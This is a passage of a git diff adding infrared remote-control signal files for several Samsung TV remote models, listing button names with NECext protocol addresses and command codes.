parsed +protocol: NECext +address: 01 08 00 00 +command: 39 00 00 00 +# +name: HEAT +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3A 00 00 00 +# +name: COOL +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir new file mode 100644 index 000000000..b5d360255 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: DUAL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 21 00 00 00 +# +name: position +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 22 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: source +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 24 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2F 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 32 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 69 00 00 00 +# +name: CHMGR +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir new file mode 100644 index 000000000..c916d4bdc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: DUAL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: S.MODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2B 00 00 00 +# +name: TTX/MIX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 42 00 00 00 +# +name: TV/DTV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 43 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: UO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: CH_MGR +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7A 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7D 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7E 00 00 00 +# +name: STB +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7F 00 00 00 +# +name: WISELINK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8C 00 00 00 +# +name: D.MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir new file mode 100644 index 000000000..861a7d63b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: Dual +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: Dashes +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: Text/Mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 42 00 00 00 +# +name: TV/DTV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 43 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: Enter/OK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: ChList +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: Cable +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7D 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7E 00 00 00 +# +name: STB +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 7F 00 00 00 +# +name: D.Menu +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8E 00 00 00 +# +name: AnyNet +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir new file mode 100644 index 000000000..57a5acf0c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: DUAL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: S.MODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: PIP.POSITION +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 22 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: PIP.SOURCE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 24 00 00 00 +# +name: TTX/MIX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: PIP.chan+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 32 00 00 00 +# +name: PIP.chan- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 33 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: CHLIST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 +# +name: E.SAVING +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 77 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir new file mode 100644 index 000000000..921a06314 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 12 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 2D 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 3E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 46 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 49 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 65 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir new file mode 100644 index 000000000..4dfdd2f83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: MTS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: Dashes +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: Enter/OK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir 